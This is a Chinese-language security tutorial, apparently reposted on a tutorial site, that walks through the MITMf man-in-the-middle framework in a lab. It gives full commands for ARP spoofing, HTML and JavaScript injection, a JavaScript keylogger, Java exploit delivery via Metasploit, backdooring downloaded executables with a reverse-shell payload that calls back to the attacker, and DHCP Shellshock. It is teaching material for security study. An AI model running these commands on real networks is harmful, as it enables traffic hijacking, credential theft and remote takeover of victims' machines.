明輝手游網(wǎng)中心:是一個免費提供流行視頻軟件教程、在線學習分享的學習平臺!

內(nèi)網(wǎng)劫持滲透新姿勢:MITMf簡要向?qū)?/h1>

[摘要]聲明:本文具有一定攻擊性,僅作為技術(shù)交流和安全教學之用,不要用在除了搭建環(huán)境之外的環(huán)境。0×01 題記又是一年十月一,想到小伙伴們都紛紛出門旅游,皆有美酒佳人相伴,想到這里,不禁...

聲明:本文具有一定攻擊性,僅作為技術(shù)交流和安全教學之用,不要用在除了搭建環(huán)境之外的環(huán)境。

0×01 題記

又是一年十月一,想到小伙伴們都紛紛出門旅游,皆有美酒佳人相伴,想到這里,不禁潸然淚下。子曰:“長得丑就要多讀書!”于是有了這篇文章。

0×02 簡要介紹

這篇文章的主要目的是介紹一下一個最新的中間人攻擊測試框架 – MITMf。工具的作者是byt3bl33d3r,是基于代理工具sergio-proxy修改而來。這里是工具的地址:

https://github.com/byt3bl33d3r/MITMf

關(guān)于工具的一些簡介也在git的READEME中說到了。工具本身比較新,沒找到中文指南,這里就寫一篇文章與大家一起交流探討。

剛一看到這個工具的時候,第一感覺不過是一個中間人攻擊的集合品,也沒多大興趣。本來嘛,這個概念也已經(jīng)被談爛了。但是當我真的搭好環(huán)境開始玩的時候才發(fā)現(xiàn)其實這個框架還是有點意思的,可擴展性非常高。除了“劫持”的概念外,一些插件也起到了“滲透”的作用。

0×03 工具配置

MITMf不支持多系統(tǒng)平臺,雖然是python寫的,但是玩過以后才發(fā)現(xiàn)根本就是給linux量身做的,所以這里想玩的同學如果是win環(huán)境的話,可以考慮用虛擬機了,這里建議使用Kali/Linux。

首先git下整個框架

#git clone https://github.com/byt3bl33d3r/MITMf.git /opt/mitmf/

然后我們進行簡單的安裝

cd /opt/mitmf
./install-bdfactory.sh

完成之后,進行下一步的安裝操作

cd bdfactory/
./install.sh

然后,運行的時候我們會發(fā)現(xiàn)仍然沒辦法啟動MITMf,會提示一些模塊缺失,我們按照指示說的依次用pip安裝一下就可以。

這里需要注意一點,因為部分模塊的源是在google上面的,pip會安裝不上(如pefile),這時候可以自己去https://pypi.python.org/pypi 下載一下然后手動安裝,安裝命令是

python xxxx install

另外,需要自行手動安裝python-nfqueue模塊

sudo apt-get install python-nfqueue

0×04 基本功能:cookies盜取,dns劫持,js注入…

這時候我們應(yīng)該能夠成功啟動mitmf了。輸入./mitmf.py -h 得到以下幫助界面:

[未標題-1.png]

工具有幾項基本功能:

sslstrip模塊

這個我不多說大家也都能明白,默認是開啟的狀態(tài)。這里我嘗試了用-d參數(shù)關(guān)閉了sslstrip,但是出現(xiàn)了無法使用的情況,應(yīng)該是框架本身的bug

Filepwn模塊

主要作用是當被欺騙對象嘗試下載文件時,首先對文件進行分析,對可執(zhí)行文件(PE、ELF)進行后門注入,然后再給到被欺騙對象,這個下面我還會給出詳細的說明。

Cachekill模塊

清空客戶端的緩存緩沖池,這個在我們需要重新注入一段js時是很有用的。這個功能還是非常有用的,關(guān)于用處,大家可以參考EtherDream同學的JS緩存投毒的文章,不細說。

Spoof模塊

十分重要的一個模塊,當我們使用MITM功能攻擊欺騙時絕對是不能缺少的。其主要包括對ARP、ICMP、DHCP進行流量重定向(三種模式不能同時使用),手動指定iptables命令等,其他的規(guī)則文件(cfg文件)在主目錄的config目錄下,我們可以進行自定義配置。這里值得說一下是,工具還在前幾天更新了關(guān)于“破殼”漏洞的DHCP影響,我們可以通過shellshock參數(shù)進行指定。下面我也會有圖片進行證明演示。

BeEFAutorun模塊

該模塊可以使框架可以連接到BeEF,BeEF的強大我想大家是有目共睹的。連接到BeEF之后就可以將MITM與瀏覽器滲透結(jié)合起來,功能自然更強大,姿勢,也更猥瑣了。

Replace模塊

這個模塊主要是可以對瀏覽內(nèi)容進行替換,支持正則表達式。注意,這里模塊默認情況下是強制刷新緩存緩沖池的,要想不改變緩沖內(nèi)容,需要手動指定keep-cache參數(shù)。

Inject模塊

可以向被欺騙者的瀏覽內(nèi)容中注入各種猥瑣的東西,比如js啦,html啦,圖片啦,小電影啦。。。也是比較有用的一個模塊,下文我們還會說到。

Browser Profiler插件

枚舉被欺騙機器的瀏覽器插件。對于我們前期的信息收集階段還是很有用的。

JavaPwn模塊

可以通過向被攻擊機器中注入jar使得瀏覽內(nèi)容被毒化,和metasploit聯(lián)合可以直接滲透機器拿到shell(這點后文我也會重點說),metasploit有多強大玩滲透的同學沒有不知道的吧?不知道的先出去罰站半小時(鄙人metasploit死忠粉)

Javascript Keylogger模塊

一個鍵盤記錄js,后文會有介紹

App Cache Poison

app緩存投毒。對于網(wǎng)頁應(yīng)用程序進行毒化處理,然后進行隨心所欲的攻擊。是Krzysztof Kotowicz的補充模塊。

Upsidedownternet

惡搞模塊,讓瀏覽者的世界翻轉(zhuǎn)。

以上是工具的簡單介紹,其中不少是很多功能大家都已經(jīng)玩過了,所以我就單挑幾個給大家展示一下。

Inject模塊的注入功能

我們首先注入一個html:

./mitmf.py --iface eth0 --spoof --arp --gateway 192.168.217.2 --target 192.168.217.129 --inject --html-url http://www.freebuf.com

效果圖

[12.png]

[13.png]

然后我們再注入一個js看看:

./mitmf.py --iface eth0 --spoof --arp --gateway 192.168.217.2 --target 192.168.217.129 --inject --js-url http://linvex.xxx.cn/test.js

效果圖

[15.png]

[16.png]

然后是工具自帶的keylogger的js,我們看一下效果怎么樣:

./mitmf.py --iface eth0 --spoof --arp --gateway 192.168.217.2 --target 192.168.217.129 --jskeylogger

效果圖

[10.png]

[11.png]

經(jīng)測試,密碼截獲DNS劫持什么的都不是問題,這里鑒于篇幅就不再展示了。

0×05 進階玩法

以上是我們進行的一些基本的玩法,目的只是讓大家看一下。功能比較基礎(chǔ)大家用的也比較多,接下來的部分,主要給大家展示一下該框架是如何結(jié)合強大的metasploit進行“滲透”的。

(一)利用java漏洞進行攻擊

首先,我們使用的是javapwn模塊。這個模塊事實上就是根據(jù)客戶端的java版本從msf挑出攻擊payload進行溢出滲透攻擊的過程,只不過是將注入的過程加入到了ARP欺騙的過程而不是之前演示的那種直接給客戶端一個url(類似:http://192.168.111.111/UIhsdaVx),使得攻擊更為自然。

將metasploit打開,然后載入msgrpc模塊

#msfconsole
msf > load msgrpc Pass=abc123

其他部分保持默認就好了。然后是MITMf端,輸入以下命令:

./mitmf.py --iface eth0 --spoof --arp --gateway 192.168.217.2 --target 192.168.217.129 --javapwn --msfip 192.168.217.137

然后我們就只需要等待就可以了,喝杯咖啡等一下。。這個過程我們可以看到靶機所瀏覽的一些網(wǎng)站記錄同時我們也能接收到一些毒化html的反饋信息。

如果順利,我們的jar就被執(zhí)行了。

[20.png]

這是開始運行等待的時候

[18.png]

[19.png]

成功得到shell

這兩張是成功得到shell的界面。因為我的靶機中的java是最新的,msf中的payload無法溢出,只是在靶機中生成了無數(shù)的連接。所以這里的圖是盜的。

(二)為PE文件注入后門實現(xiàn)滲透

使用Filepwn模塊,與msf結(jié)合同樣可以獲得shell。簡單說一下Filepwn的原理:ARP過程中如果探測到靶機有下載的活動,便劫持下載鏈接,首先將文件下載下來進行解包分析,如果是可執(zhí)行文件就嘗試注入后門,如果失敗則重新打包。最后將文件輸出給靶機由靶機進行下載。這里的文檔支持zip和tar.gz格式解包,支持各種可執(zhí)行文件。

同樣我們打開metasploit,使用handler,開始監(jiān)聽:

msfconsole
use exploit/multi/handler
set LHOST 192.168.217.137
set LPORT 1447
run

[21.png]

在使用MITMf前我們需要對配置文件進行配置,注入信息配置如下(只列出作用位置)

…………SNIP…………
[[[WindowsIntelx86]]]       
PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND       
HOST = 192.168.217.137       
PORT = 1447       
SHELL = reverse_shell_tcp       
SUPPLIED_SHELLCODE = None       
ZERO_CERT = False       
PATCH_DLL = True       
MSFPAYLOAD = windows/shell_reverse_tcp
…………SNIP…………

接下來是MITMf:

./mitmf.py --iface eth0 --spoof --arp --gateway 192.168.217.2 --target 192.168.217.129 --filepwn

然后就是等待靶機下載文件然后執(zhí)行就可以了。

最后我們的靶機執(zhí)行了文件,然后msf獲得到了shell。下面是最終結(jié)果:

[9.jpg]


點此看大圖

(三)娛樂一下

最后再看一下“破殼”是如何在DHCP中起作用的

./mitmf.py --iface eth0 --spoof --dhcp --shellshock

[17.png]

這里的命令可以用cmd參數(shù)自行指定。

關(guān)于這個問題大家一致的思路是這樣的:我們的手機IOS、Android都是基于unix的,所以如果我們搭建一個dhcp的WIFI服務(wù)器,能有什么收獲呢?

0×06 總結(jié)

這個工具其實說白了就是一個中間人攻擊的大集合,集各種功能于一身,同時擴展了BeEF框架和Metasploit的接口,使攻擊姿勢更加豐富。而且,也十分與時俱進的擴展了網(wǎng)頁應(yīng)用的毒化功能,同時給我們帶來了更多的想法:中間人攻擊,真的只是劫持截包這么簡單么?內(nèi)網(wǎng)滲透真的只能靠溢出RCE方式么?能不能有更好的方式?答案是肯定的。海

文章到這里暫時告一段落,簡要介紹了幾個MITMf的基礎(chǔ)功能,更多擴展工具閱讀

https://github.com/secretsquirrel/the-backdoor-factory

https://github.com/secretsquirrel/BDFProxy

如果有更好玩的東西,我會繼續(xù)與大家分享。

0×07 最后的小插曲

寫文章的前一天晚上,室友看我測試各種攻擊姿勢,然后看了一會兒感嘆說,網(wǎng)絡(luò)越來越不安全了,真是處處是坑,一不小心就可能中招。然后,我們相視苦笑。。。

現(xiàn)在,問題來了:挖坑得用挖掘機。
 


上面是電腦上網(wǎng)安全的一些基礎(chǔ)常識,學習了安全知識,幾乎可以讓你免費電腦中毒的煩擾。